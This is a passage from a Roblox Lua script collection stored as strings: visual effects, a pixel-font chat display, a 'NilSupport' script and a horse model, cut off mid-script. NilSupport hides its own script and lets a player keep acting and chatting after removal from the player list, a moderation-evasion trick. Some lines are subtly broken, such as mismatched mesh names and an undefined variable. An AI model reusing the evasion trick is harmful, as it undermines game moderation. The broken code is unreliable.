  4700.    s5.Parent=p
  4701.    light.Parent=pc
  4702.    text.TextStrokeColor3=sel.Color.Color
  4703.    end)
  4704. end)
  4705.  
  4706. s5.Looped=true
  4707. s5.Volume=0.5
  4708. s5:Play()
  4709. wait()
  4710. s5:Stop()
  4711. wait()
  4712. s5:Play()
  4713.  
  4714. local walrus=game.Lighting
  4715. mouse.Button1Down:connect(function()
  4716.    ypcall(function()
  4717.        for _,v in pairs(modes) do
  4718.            if v.n==mode and mouse.Target.Name~="Workspace" then
  4719.                local ray = Ray.new(p.CFrame.p, (mouse.Hit.p - p.CFrame.p).unit*300)
  4720.                v.func(mouse.Target)
  4721.                local position = mouse.Hit.p--game.Workspace:FindPartOnRay(ray, walrus)
  4722.                local distance = (position - p.CFrame.p).magnitude
  4723.                local rp=Instance.new("Part",workspace)
  4724.                rp.Anchored=true
  4725.                rp.TopSurface="Smooth"
  4726.                rp.BottomSurface="Smooth"
  4727.                rp.Transparency=0.45
  4728.                rp.BrickColor=BrickColor.new(v.color)
  4729.                rp.FormFactor="Custom"
  4730.                rp.CanCollide=false
  4731.                rp.Size=Vector3.new(0.6,0.6,distance)
  4732.                rp.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
  4733.                local cy=Instance.new("BlockMesh",rp)
  4734.                local rp2=Instance.new("Part",rp)
  4735.                rp2.Anchored=true
  4736.                rp2.TopSurface="Smooth"
  4737.                rp2.BottomSurface="Smooth"
  4738.                rp2.Transparency=0.45
  4739.                rp2.BrickColor=BrickColor.new("Institutional white")
  4740.                rp2.FormFactor="Custom"
  4741.                rp2.CanCollide=false
  4742.                rp2.Size=Vector3.new(1,1,distance)
  4743.                rp2.CFrame=CFrame.new(position, p.CFrame.p) * CFrame.new(0, 0, -distance/2)
  4744.                local cy2=Instance.new("BlockMesh",rp2)
  4745.                for i=1,10 do
  4746.                    wait()
  4747.                    cy.Scale=cy.Scale-Vector3.new(0.1,0.1,0)
  4748.                    cy2.Scale=cy2.Scale-Vector3.new(0.1,0.1,0)
  4749.                end
  4750.                rp:Destroy()
  4751.                rp2:Destroy()
  4752.                print'done'
  4753.            end
  4754.        end
  4755.    end)
  4756. end)
  4757.  
  4758. coroutine.resume(coroutine.create(function()
  4759.    while wait() do
  4760.        for i=1,50 do
  4761.        wait()
  4762.        blo.Scale=blo.Scale+Vector3.new(0.01,0.01,0.01)
  4763.        end
  4764.        for i=1,50 do
  4765.        wait()
  4766.        blo.Scale=blo.Scale-Vector3.new(0.01,0.01,0.01)
  4767.        end
  4768.    end
  4769. end))
  4770.  
  4771. coroutine.resume(coroutine.create(function()
  4772.    while wait() do
  4773.        if engulfed==false then
  4774.            for i=1,100 do
  4775.                wait()
  4776.                sel.Transparency=sel.Transparency+0.01
  4777.                sel2.Transparency=sel2.Transparency-0.01
  4778.            end
  4779.            for i=1,100 do
  4780.                wait()
  4781.                sel.Transparency=sel.Transparency-0.01
  4782.                sel2.Transparency=sel2.Transparency+0.01
  4783.            end
  4784.        end
  4785.    end
  4786. end))
  4787.  
  4788. coroutine.resume(coroutine.create(function()
  4789.    while wait() do
  4790.        if ifx==true then
  4791.        local pos=p.Position
  4792.        wait(0.01)
  4793.        if p.Position~=pos or engulfed==true then
  4794.        local a=p:clone()
  4795.        a.Parent=workspace
  4796.        a.Transparency=0
  4797.        a.FormFactor='Custom'
  4798.        a.BrickColor=sel.Color
  4799.        a:clearAllChildren()
  4800.        local b=Instance.new("BlockMesh",a)
  4801.        Spawn(function()
  4802.        for i=1,30 do
  4803.            wait(0.02)
  4804.            b.Scale=b.Scale-Vector3.new(0.10,0.10,0.10)
  4805.            a.Transparency=a.Transparency+0.05
  4806.        end
  4807.        a:Destroy()
  4808.        end)
  4809.        else
  4810.        end
  4811.    end
  4812.    end
  4813. end))
  4814.  
  4815.  
  4816.  
  4817. coroutine.resume(coroutine.create(function()
  4818. while wait(0.06245) do
  4819. if ofx==true then
  4820. local a=Instance.new('Part',p)
  4821. a.Anchored=true
  4822. local b=Instance.new("BlockMesh",a)
  4823. a.Size=Vector3.new(1.1,1)
  4824. a.CFrame=p.CFrame*CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  4825. a.BrickColor=sel.Color
  4826. Spawn(function()
  4827.    for i=1,pa do
  4828.        wait()
  4829.        a.CFrame=a.CFrame*CFrame.new(math.random(-.1,.1),math.random(-.1,.1),math.random(-.1,.1))*CFrame.Angles(math.rad(i),math.rad(i),math.rad(i))
  4830.        a.Transparency=a.Transparency+0.1
  4831.        b.Scale=b.Scale-Vector3.new(0.1,0.1,0.1)
  4832.    end
  4833.    a:Destroy()
  4834. end)
  4835. end
  4836. end
  4837. end))
  4838.  
  4839. pc.ChildRemoved:connect(function()
  4840.    sound=false
  4841.    sel.Color=color
  4842. end)
  4843.  
  4844.  
  4845.  
  4846. local backup=p:clone()
  4847. backup.Parent=nil
  4848.  
  4849. --[[
  4850. workspace.ChildRemoved:connect(function(asd)
  4851.    if asd.Name=="ttx" then
  4852.        wait(5)
  4853.        if not workspace['ttx'] then
  4854.            local f=backup:clone()
  4855.            f.Parent=workspace
  4856.            p=f
  4857.        end
  4858.    end
  4859. end)
  4860. coroutine.resume(coroutine.create(function()
  4861.    while wait(4) do
  4862.        if not workspace['ttx'] then
  4863.            local abc=backup:clone()
  4864.            abc.Parent=workspace
  4865.            p=abc
  4866.        end
  4867.    end
  4868. end))
  4869. ]]
  4870. coroutine.resume(coroutine.create(function()
  4871.    local a=p.Position
  4872.    wait(0.02)
  4873.    if p.Position~=a then
  4874.        s5.Pitch=s5.Pitch+0.035
  4875.    else
  4876.        s5.Pitch=1
  4877.    end
  4878. end))
  4879. --[[
  4880. while wait() do
  4881.    local fx=Instance.new("Part")
  4882.    fx.FormFactor="Custom"
  4883.    fx.Anchored=true
  4884.    fx.TopSurface="Smooth"
  4885.    fx.BottomSurface="Smooth"
  4886.    fx.Size=Vector3.new(0.4,0.4,0.4)
  4887.    fx.CFrame=p.CFrame*CFrame.new(math.random(1,3),math.random(3,4),math.random(1,3))
  4888.    if sound==true then
  4889.        sel.Color=BrickColor.Random()
  4890.    end
  4891.    if engulfed==true then
  4892.        p.Transparency=1
  4893.        pc.Transparency=1
  4894.        sel.Transparency=1
  4895.        sel2.Transparency=1
  4896.    end
  4897.    coroutine.wrap(function()
  4898.        local walrus=0
  4899.        while fx~=nil do
  4900.            wait()
  4901.            walrus=walrus+0.02
  4902.            fx.CFrame=fx.CFrame*(p.CFrame)*CFrame.new(0,walrus,0)
  4903.        end
  4904.    end)()
  4905.    game.Debris:addItem(fx,3)
  4906. end
  4907. ]]
  4908.  
  4909. ]==]
  4910.  
  4911. PixelChat = [[
  4912. wait(0.001)
  4913. script:ClearAllChildren();
  4914. script.Parent=nil;
  4915. wait(1)
  4916. LocalPlayer = game:service'Players'.LocalPlayer
  4917. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  4918. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  4919. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4920. DeModel.Name = ":D"
  4921. local Colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink","Really black"}
  4922. FR = Instance.new("Frame",DeModel)
  4923. FR.Size=UDim2.new(1,0,1,0)
  4924. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4925. FR.BackgroundTransparency = 1
  4926. FR.BorderSizePixel=0
  4927. FR.ZIndex=2
  4928. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  4929. game:service'RunService'.RenderStepped:connect(function()
  4930.     pcall(function()
  4931.         local a = workspace:findFirstChild(LocalPlayer.Name)
  4932.         if a.ClassName == 'Part' then
  4933.             CurrParent = a
  4934.         else
  4935.             CurrParent = a:findFirstChild'Head'
  4936.         end
  4937.     end)
  4938.     if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  4939.         pcall(function()
  4940.             if CurrParent.ClassName == 'Part' then
  4941.                 DeModel = Instance.new("BillboardGui", CurrParent)
  4942.                 DeModel.Adornee = CurrParent
  4943.                 DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4944.                 DeModel.Name = ":D"
  4945.                 FR = Instance.new("Frame",DeModel)
  4946.                 FR.Size=UDim2.new(1,0,1,0)
  4947.                 FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4948.                 FR.BackgroundTransparency = 1
  4949.                 FR.BorderSizePixel=0
  4950.                 FR.ZIndex=2
  4951.             end
  4952.         end)
  4953.     end
  4954. end)
  4955. function CreateLetter(what, pos, posy, cl)
  4956.     pcall(function()
  4957.         if cl == nil then cl = (Colors[math.random(1, #Colors)]) end
  4958.         if Letters[what:byte()-31] then
  4959.             what = Letters[what:byte()-31]
  4960.         else
  4961.             what = Letters[1]
  4962.         end
  4963.         if type(what) ~= "string" then return end
  4964.         what = what:gsub('\n','')
  4965.         what = what:gsub('\t','')
  4966.         what = what:gsub(' ','')
  4967.         pos = pos * 2
  4968.         posy = posy * 2
  4969.         c =  0
  4970.         for y=1,7 do
  4971.             for x=1,5 do
  4972.                 c = c + 1
  4973.                 if what:sub(c, c) == "1" then
  4974.                     local a = Instance.new("Frame", FR)
  4975.                     a.Name = "L"
  4976.                     a.ZIndex=3
  4977.                     a.Size = UDim2.new(0,2,0,2)
  4978.                     a.BorderSizePixel = 0
  4979.                     a.BackgroundTransparency = 1
  4980.                     a.BackgroundColor3 = BrickColor.new(cl).Color
  4981.                     a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  4982.                     coroutine.wrap(function()
  4983.                         wait(math.random(1, 10)/50)
  4984.                         a.BackgroundTransparency = 0
  4985.                     end)()
  4986.                 end
  4987.             end
  4988.         end
  4989.     end)
  4990. end
  4991. LocalPlayer.Chatted:connect(function(m)
  4992.     pcall(function()
  4993.         local cl = (Colors[math.random(1, #Colors)])
  4994.         for _,v in pairs(DeModel.Frame:children()) do
  4995.             v:Destroy()
  4996.         end
  4997.         if m:sub(1,2) == '/e' then return end
  4998.         if m:sub(1,3) == "/! " then
  4999.             m = m:sub(4)
  5000.             DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  5001.         else
  5002.             DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  5003.             DeModel.Frame.BackgroundTransparency = 1
  5004.         end
  5005.         m1 = m:gsub("\n"," ")
  5006.         m1 = m1:gsub("\t"," ")
  5007.         m1 = m1:gsub("math.pi",tostring(math.pi))
  5008.         if #m1 <= 30 then
  5009.             DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  5010.         elseif #m1 <= 60 then
  5011.             DeModel.Size = UDim2.new(0,330,0,40)
  5012.         elseif #m1 <= 90 then
  5013.             DeModel.Size = UDim2.new(0,330,0,60)
  5014.         elseif #m1 > 90 then
  5015.             DeModel.Size = UDim2.new(0,340,0,60)
  5016.             m1 = m1:sub(1,90).."..."
  5017.         end
  5018.         if #m1 < 30 then
  5019.             for i = 1,#m1 do
  5020.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  5021.                 wait(1/60)
  5022.             end
  5023.         elseif #m1 <= 60 then
  5024.             for i = 1,30 do
  5025.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  5026.                 wait(1/60)
  5027.             end
  5028.             for i = 31,#m1 do
  5029.                 CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  5030.                 wait(1/60)
  5031.             end
  5032.         elseif #m1 >= 60 then
  5033.             for i = 1,30 do
  5034.                 CreateLetter(m1:sub(i,i),i*5,0,cl)
  5035.                 wait(1/60)
  5036.             end
  5037.             for i = 31,60 do
  5038.                 CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  5039.                 wait(1/60)
  5040.             end
  5041.             for i = 61,#m1 do
  5042.                 CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  5043.                 wait(1/60)
  5044.             end
  5045.         end
  5046.     end)
  5047. end)
  5048. ]]
  5049.  
  5050. NilSupport = [[
  5051. wait(0.001)
  5052. script:ClearAllChildren()
  5053. script.Parent=nil
  5054. wait(1)
  5055. LocalPlayer = game:service'Players'.LocalPlayer
  5056. ProbeMode = false
  5057. char = nil
  5058. probe = nil
  5059. game:service'Debris':AddItem(x,3)
  5060. if LocalPlayer.Character then
  5061.     LocalPlayer.Character.Archivable = true
  5062.     char = LocalPlayer.Character:Clone()
  5063.     char.Torso.Anchored = true
  5064. else
  5065.     local con = LocalPlayer.CharacterAdded:connect(function()
  5066.         wait(0.5)
  5067.         LocalPlayer.Character.Archivable = true
  5068.         char = LocalPlayer.Character:Clone()
  5069.         char.Torso.Anchored = true
  5070.     end)
  5071. end
  5072. xcon = LocalPlayer.Changed:connect(function(asd)
  5073.     if asd == 'Parent' then
  5074.         local a = Instance.new("Hint",workspace)
  5075.         a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
  5076.         game:service'Debris':AddItem(a,3)
  5077.     end
  5078. end)
  5079. asdcon = LocalPlayer.Chatted:connect(function(msg)
  5080.     pcall(function()
  5081.         if LocalPlayer.Parent ~= game:service'Players' then
  5082.             if msg == 'char/' then
  5083.                 ProbeMode = false
  5084.             elseif msg == 'probe/' then
  5085.                 ProbeMode = true
  5086.             elseif msg == 'fcam/' then
  5087.                 if LocalPlayer.Parent ~= game:service'Players' then
  5088.                     if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  5089.                         if ProbeMode == false then
  5090.                             game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
  5091.                         end
  5092.                     end
  5093.                 end
  5094.             elseif msg == 'rej/' then
  5095.                 coroutine.wrap(function()
  5096.                     if ProbeMode == true then
  5097.                         probe:remove()
  5098.                     else
  5099.                         LocalPlayer.Character:remove()
  5100.                         char = nil
  5101.                     end
  5102.                     zcon:disconnect()
  5103.                     asdcon:disconnect()
  5104.                     xcon:disconnect()
  5105.                 end)()
  5106.                 game:service'TeleportService':Teleport(game.PlaceId)
  5107.             else
  5108.                 if ProbeMode == true then
  5109.                     game:service'Chat':Chat(probe,msg)
  5110.                 else
  5111.                     game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
  5112.                 end
  5113.             end
  5114.         end
  5115.     end)
  5116. end)
  5117. zcon = game:service'RunService'.RenderStepped:connect(function()
  5118.     if LocalPlayer.Parent ~= game:service'Players' then
  5119.         if ProbeMode == false then
  5120.             if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  5121.                 local chr = char:Clone()
  5122.                 chr.Parent = workspace
  5123.                 LocalPlayer.Character = chr
  5124.                 wait(0.1)
  5125.                 game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  5126.             end
  5127.         else
  5128.             if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'missoncompletedMesh' == nil then
  5129.                 if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  5130.                 local a = Instance.new("Part",workspace)
  5131.                 a.Name = LocalPlayer.Name
  5132.                 a.FormFactor = 'Custom'
  5133.                 a.CanCollide = false
  5134.                 a.Locked = true
  5135.                 a.Anchored = true
  5136.                 a.TopSurface = 0
  5137.                 a.BottomSurface = 0
  5138.                 a.Size = Vector3.new(2,2,2)
  5139.                 a.BrickColor = BrickColor.new("Really black")
  5140.                 local b = Instance.new('SpecialMesh',a)
  5141.                 b.Name = 'missoncompletedMesh'
  5142.                 b.MeshType = 'Sphere'
  5143.                 probe = a
  5144.             else
  5145.                 local asd = probe:findFirstChild'missoncompleted1164Mesh'
  5146.                 asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  5147.                 probe.CFrame = workspace.CurrentCamera.Focus
  5148.             end
  5149.         end
  5150.     end
  5151. end)
  5152. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  5153.     key = k
  5154. end)
  5155. LocalPlayer:GetMouse().KeyUp:connect(function()
  5156.     key = nil
  5157. end)
  5158. game:service'RunService'.RenderStepped:connect(function()
  5159.     if LocalPlayer.Parent ~= game:service'Players' then
  5160.         if ProbeMode == false then
  5161.             if LocalPlayer.Character ~= nil then
  5162.                 if key == 'w' then
  5163.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  5164.                 elseif key == 's' then
  5165.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  5166.                 elseif key == 'd' then
  5167.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  5168.                 elseif key == 'a' then
  5169.                     LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  5170.                 end
  5171.             end
  5172.         end
  5173.     end
  5174. end)
  5175. ]]
  5176.  
  5177. DarkHorse = [==[
  5178. local player=game.Players.LocalPlayer
  5179.  Breeds = {
  5180.     { -- Black
  5181.         fur=BrickColor.new("Really black"),
  5182.         mane=BrickColor.new("Really black"),
  5183.         saddle=BrickColor.new("Really black"),
  5184.         reins=BrickColor.new("Black"),
  5185.         hoof=BrickColor.new("Really black")
  5186.     }
  5187. }
  5188.  
  5189. local Breed = Breeds[math.random(1,#Breeds)]
  5190.  
  5191. local ModelName =  "Horse"
  5192. local ModelParent = workspace
  5193. --pcall(function() ModelParent[ModelName]:Destroy() end)
  5194.  
  5195. local ReinsHold = nil
  5196. local Height = 6.2
  5197. local rHeight = Height
  5198.  
  5199. local HasHat = false
  5200. local HatMeshId = "rbxassetid://42157240"
  5201. local HatTexId = ""
  5202. local HorseColor = Breed.fur
  5203. local EyeColor = BrickColor.new("Really red")
  5204. local ManeColor = Breed.mane
  5205. local SaddleColor = Breed.saddle
  5206. local ReinsColor = Breed.reins
  5207. local HoofColor = Breed.hoof
  5208. local oc = oc or function(...) return ... end
  5209. local ModelScale = .6
  5210.  
  5211. local Speed = 0
  5212. local WalkSpeed = 15
  5213. local WalkSin = 6
  5214. local TrotSpeed = 30
  5215. local TrotSin = 4
  5216. local GallopSin = 60
  5217. local MaxSpeed = 70
  5218. local SpeedLimit = 70
  5219.  
  5220.  
  5221. local startpos = workspace.LocalPlayer.Head.CFrame * CFrame.new(0,Height+1.5,10)--script.Parent:IsA("BasePart") and script.Parent.CFrame * CFrame.new(0,Height,0) or CFrame.new(0,Height+1,20)
  5222.  
  5223. math.randomseed(tick()+215819240)
  5224. math.random() math.random() math.random()
  5225. aran = function() return math.random() end
  5226. ran = function() return (math.random()-.5)*2 end
  5227.  
  5228. function Weld(a,b,c,d)
  5229.         local w = Instance.new("Weld",a)
  5230.         w.Part0 = a
  5231.         w.Part1 = b
  5232.         w.C0 = c or CFrame.new()
  5233.         w.C1 = d or CFrame.new()
  5234.         return w
  5235. end
  5236.  
  5237.  
  5238. do  -- Ignore my clerp stuff stolen from stravvy
  5239.         local function QuaternionFromCFrame(cf)
  5240.                 local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  5241.                 local trace = m00 + m11 + m22
  5242.                 if trace > 0 then
  5243.                         local s = math.sqrt(1 + trace)
  5244.                         local recip = 0.5/s
  5245.                         return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  5246.                 else
  5247.                         local i = 0
  5248.                         if m11 > m00 then
  5249.                                 i = 1
  5250.                         end
  5251.                         if m22 > (i == 0 and m00 or m11) then
  5252.                                 i = 2
  5253.                         end
  5254.                         if i == 0 then
  5255.                                 local s = math.sqrt(m00-m11-m22+1)
  5256.                                 local recip = 0.5/s
  5257.                                 return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  5258.                         elseif i == 1 then
  5259.                                 local s = math.sqrt(m11-m22-m00+1)
  5260.                                 local recip = 0.5/s
  5261.                                 return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  5262.                         elseif i == 2 then
  5263.                                 local s = math.sqrt(m22-m00-m11+1)
  5264.                                 local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  5265.                         end
  5266.                 end
  5267.         end  
  5268.         local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  5269.                 local xs, ys, zs = x + x, y + y, z + z
  5270.                 local wx, wy, wz = w*xs, w*ys, w*zs
  5271.                 local xx = x*xs
  5272.                 local xy = x*ys
  5273.                 local xz = x*zs
  5274.                 local yy = y*ys
  5275.                 local yz = y*zs
  5276.                 local zz = z*zs
  5277.                 return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  5278.                 end  
  5279.         local function QuaternionSlerp(a, b, t)
  5280.                 local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  5281.                 local startInterp, finishInterp;
  5282.                 if cosTheta >= 0.0001 then
  5283.                         if (1 - cosTheta) > 0.0001 then
  5284.                                 local theta = math.acos(cosTheta)
  5285.                                 local invSinTheta = 1/math.sin(theta)
  5286.                                 startInterp = math.sin((1-t)*theta)*invSinTheta
  5287.                                 finishInterp = math.sin(t*theta)*invSinTheta  
  5288.                         else
  5289.                                 startInterp = 1-t
  5290.                                 finishInterp = t
  5291.                         end
  5292.                 else
  5293.                         if (1+cosTheta) > 0.0001 then
  5294.                                 local theta = math.acos(-cosTheta)
  5295.                                 local invSinTheta = 1/math.sin(theta)
  5296.                                 startInterp = math.sin((t-1)*theta)*invSinTheta
  5297.                                 finishInterp = math.sin(t*theta)*invSinTheta
  5298.                         else
  5299.                                 startInterp = t-1
  5300.                                 finishInterp = t
  5301.                         end
  5302.                 end
  5303.                 return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  5304.         end  
  5305.         function clerp(a,b,t)
  5306.                 local qa = {QuaternionFromCFrame(a)}
  5307.                 local qb = {QuaternionFromCFrame(b)}
  5308.                 local ax, ay, az = a.x, a.y, a.z
  5309.                 local bx, by, bz = b.x, b.y, b.z  
  5310.                 local _t = 1-t
  5311.                 return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  5312.         end
  5313. end
  5314.  
  5315. function lerp(a,b,c)
  5316.     return a+(b-a)*c
  5317. end
  5318.  
  5319. function ctlerp(c1,c2,al) -- Older, "worse" clerp if the other one fails..
  5320.         local com1 = {c1:components()}
  5321.         local com2 = {c2:components()}
  5322.         for i,v in pairs(com1) do
  5323.                 com1[i] = lerp(v,com2[i],al)
  5324.         end
  5325.         return CFrame.new(unpack(com1))
  5326. end
  5327.  
  5328.  
  5329. local Model = Instance.new("Model",ModelParent)
  5330. Model.Name = ModelName
  5331.  
  5332. local BasePart = Instance.new("Part")
  5333. BasePart.FormFactor = "Custom"
  5334. BasePart.Size = Vector3.new()
  5335. BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
  5336. BasePart:BreakJoints()
  5337. BasePart.CFrame = startpos
  5338.  
  5339. function NP()
  5340.     local p = BasePart:Clone()
  5341.     p.Parent = Model
  5342.     return p
  5343. end
  5344.  
  5345. function Sphere(parent,scale)
  5346.     local sm = Instance.new("SpecialMesh",parent)
  5347.     sm.MeshType = "Sphere"
  5348.     sm.Scale = scale or Vector3.new(1,1,1)
  5349.     return sm
  5350. end
  5351.  
  5352. BasePart.BrickColor = HorseColor
  5353.  
  5354. local Main = NP()
  5355. Main.Size = Vector3.new(3.5,4.5,8)
  5356. Main.CFrame = startpos
  5357.  
  5358. MainMesh = Sphere(Main)
  5359.  
  5360. local Neck = NP()
  5361. Neck.Size = Vector3.new(2,5,2.5)
  5362. local NeckWeld = Weld(Main,Neck,CFrame.new(0,0.5,-3.2)*CFrame.Angles(math.rad(-20),0,0),CFrame.new(0,-1.5,0))
  5363. local NeckWeld0 = NeckWeld.C0
  5364. Sphere(Neck,Vector3.new(1,1,1))
  5365.  
  5366. local NeckBonus = NP()
  5367. NeckBonus.Size = Vector3.new(1.9,3,2)
  5368. Weld(Neck,NeckBonus,CFrame.new(0,-1.1,.5)*CFrame.Angles(-.5,0,0))
  5369. Sphere(NeckBonus)
  5370.  
  5371. local Head = NP()
  5372. Head.Size = Vector3.new(2,3,3)
  5373. local HeadWeld = Weld(Neck,Head,CFrame.new(0,2.5,-.4),CFrame.new(0,0,1))
  5374. local HeadWeld0 = HeadWeld.C0
  5375. local HeadMesh = Instance.new("SpecialMesh",Head)
  5376. HeadMesh.Scale = Vector3.new(0.7,1,1)*1.6
  5377. HeadMesh.MeshId = "http://www.roblox.com/asset/?id=114690930"
  5378.  
  5379. if HasHat then
  5380.         local Hat = NP()
  5381.         Hat.Size = Vector3.new()
  5382.         Hat.BrickColor = SaddleColor
  5383.         local HatWeld = Weld(Head,Hat,CFrame.new(0,1.11,1.3),CFrame.Angles(math.rad(-20),0,0))
  5384.         local HatMesh = Instance.new("SpecialMesh",Hat)
  5385.         HatMesh.Scale = Vector3.new(1.5,1.5,1.5)
  5386.         HatMesh.MeshId = HatMeshId or "rbxassetid://42157240"
  5387.         HatMesh.TextureId = HatTexId or ""
  5388. end
  5389.  
  5390. local EyeR = NP()
  5391. EyeR.BrickColor = EyeColor
  5392. EyeR.Reflectance = .1
  5393. EyeR.Size = Vector3.new(.2,.2,.2)
  5394. Weld(Head,EyeR,CFrame.new(.631,.23,.11)*CFrame.Angles(-0.2,0.1,0))
  5395. Sphere(EyeR,Vector3.new(.9,2.1,2.1))
  5396.  
  5397. local EyeL = NP()
  5398. EyeL.BrickColor = EyeColor
  5399. EyeL.Reflectance = .1
  5400. EyeL.Size = Vector3.new(.2,.2,.2)
  5401. Weld(Head,EyeL,CFrame.new(-.631,.23,.11)*CFrame.Angles(-0.2,-0.1,0))
  5402. Sphere(EyeL,Vector3.new(.9,2.1,2.1))
  5403.  
  5404. BasePart.Name = "Reins"
  5405.  
  5406. local RPart = NP() -- rs1
  5407. RPart.BrickColor = ReinsColor
  5408. RPart.Size = Vector3.new(.2,.7,.25)
  5409. Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))
  5410.  
  5411. local Cyl = NP()
  5412. Cyl.BrickColor = ReinsColor
  5413. Cyl.Size = Vector3.new(.2495,.2,.2)
  5414. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5415. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5416.  
  5417. local RPart = NP() -- rs2
  5418. RPart.BrickColor = ReinsColor
  5419. RPart.Size = Vector3.new(.2,.4,.25)
  5420. Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,-.5)*CFrame.new(0,-.2,0))
  5421. RPP = Instance.new("Smoke")
